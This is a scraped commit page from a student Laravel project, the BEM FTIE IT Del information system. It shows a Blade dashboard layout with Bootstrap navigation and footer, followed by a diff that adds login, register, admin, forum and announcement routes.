<a href="forum" id=""><span>Forum</span></a>
-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="{{asset('img/logo_ftie.png')}}">
<title>Dashboard | SIBEFTI</title>
<!-- Bootstrap core CSS -->
<link href="admin/font-awesome/css/font-awesome.css" rel="stylesheet" />
<link href="{{asset('css/bootstrap.min.css')}}" rel="stylesheet">
<link href="{{asset('css/site.css')}}" rel="stylesheet">
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<link href="{{('css/ie10-viewport-bug-workaround.css')}}" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="{{('css/navbar-fixed-top.css')}}" rel="stylesheet">
<!-- Just for debugging purposes. Don't actually copy these 2 lines! -->
<!--[if lt IE 9]><script src="../../assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
<script src="{{asset('assets/js/ie-emulation-modes-warning.js')}}"></script>
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a href="/"><IMG SRC="{{asset('img/logo_ftie.png')}}" width="50px" height="50px" > </a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="#">Home</a></li>
<li><a href="profileBem">Profile BEM</a></li>
<li><a href="#contact">Contact</a></li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">Dropdown <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Action</a></li>
<li><a href="#">Another action</a></li>
<li><a href="#">Something else here</a></li>
<li role="separator" class="divider"></li>
<li class="dropdown-header">Nav header</li>
<li><a href="#">Separated link</a></li>
<li><a href="#">One more separated link</a></li>
</ul>
</li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">{{ Auth::user()->username}} <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="/profile"><i class="fa fa-user fa-fw"></i>Profile</a></li>
<li><a href="/settingProfile"><i class="fa fa-gear fa-fw"></i>Setting Profile</a></li>
<li><a href="/logout"><i class="fa fa-sign-out fa-fw"></i>Logout</a></li>
</ul>
</li>
<!--<li >
<a href="logout">Logout <span class="sr-only"></span></a>
</li>-->
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container">
<div class="row">
@yield('content');
</div>
</div>
<div class="container">
<!-- Main component for a primary marketing message or call to action -->
<!--<div class="jumbotron">
<h1>Sistem Informasi BEM FTIE</h1>
<p>Institut Teknologi Del</p>
<center><IMG SRC="{{asset('img/logo_ftie.png')}}" > <IMG SRC="{{asset('img/logo_del.png')}}" ><br>
<a class="btn btn-lg btn-primary" href="../../components/#navbar" role="button">View Profile BEM &raquo;</a>
</p>
</div>-->
</div> <!-- /container -->
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>window.jQuery || document.write('<script src="../../assets/js/vendor/jquery.min.js"><\/script>')</script>
<script src="{{('js/bootstrap.min.js')}}"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="{{('js/ie10-viewport-bug-workaround.js')}}"></script>
<footer id="footer" class="footer2">
<div class="container">
<div class="row">
<div class="footer-ribbon foot x">
<span>Get in Touch</span>
</div>
<div class="col-md-3 cfoot">
<div class="newsletter">
<h4>Quotes</h4>
<p>Keluarga adalah sarana berbagi di dalam suka dan duka. Keluarga adalah segalanya.</p>
<div class="alert alert-success hidden" id="newsletterSuccess">
<strong>Success!</strong> You've been added to our email list.
</div>
<div class="alert alert-danger hidden" id="newsletterError"></div>
</div>
</div>
<div class="col-md-3 cfoot">
<h4>Latest Tweets</h4>
<div id="tweet" class="twitter" data-plugin-tweets data-plugin-options='{"username": "", "count": 2}'>
<p>Please wait...</p>
</div>
</div>
<div class="col-md-4 cfoot">
<div class="contact-details">
<h4>Contact Us</h4>
<strong>Address:</strong> Jl. Sisingamangaraja Laguboti, Sumatera Utara<br>
<strong>Phone:</strong> +62 632 331234<br>
<strong>Email:</strong> <a href="bemitdel@students.del.ac.id">bemitdel@students.del.ac.id</a>
</div>
</div>
<div class="col-md-2 cfoot">
<h4>Follow Us</h4>
<div class="social-icons">
<a href="http://www.facebook.com/" target="_blank" data-placement="bottom" data-tooltip title="Facebook">Facebook</a><br>
<a href="http://www.twitter.com/" target="_blank" data-placement="bottom" data-tooltip title="Twitter">Twitter</a><br>
</div>
</div>
</div>
</div>
</footer>
<footer class="footer txt">
<div class="container">
<p class="pull-left">&copy; BEM FTIE IT Del <?= date('Y') ?></p>
<p class="pull-right">SYP-09 D3TI 2017</p>
</div>
</footer>
</body>
</html>
......@@ -4,13 +4,25 @@
Route::get('/', 'homeController@home');
Route::post('/postLogin','LoginController@postLogin');
Route::get('/login','LoginController@getLogin');
Route::get('/register','RegisterController@getRegister');
Route::post('/postRegister','RegisterController@postRegister');
Route::get ('logout',function(){
Auth::logout();
return redirect('/');
return redirect('login');
});
Route::get('profile/{username}','UserController@profile');
Route::post('profile/{username}','UserController@update_avatar');
Route::group(['middleware'=>['web']], function(){
Route::resource('halamanAdmin','AdminController');
Route::get('/register','RegisterController@getRegister');
Route::post('/postRegister','RegisterController@postRegister');
});
Route::group(['middleware'=>['web']], function(){
Route::get('forum','TopicController@getForum');
Route::get('bahasaPemrograman','TopicController@getBahasaPemrograman');
Route::post('bahasaPemrograman','TopicController@store');
});
Route::get('/dataPengumuman','PengumumanController@datapengumuman');
Route::get('/pengumuman','PengumumanController@create');
Route::post('/store','PengumumanController@store');
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment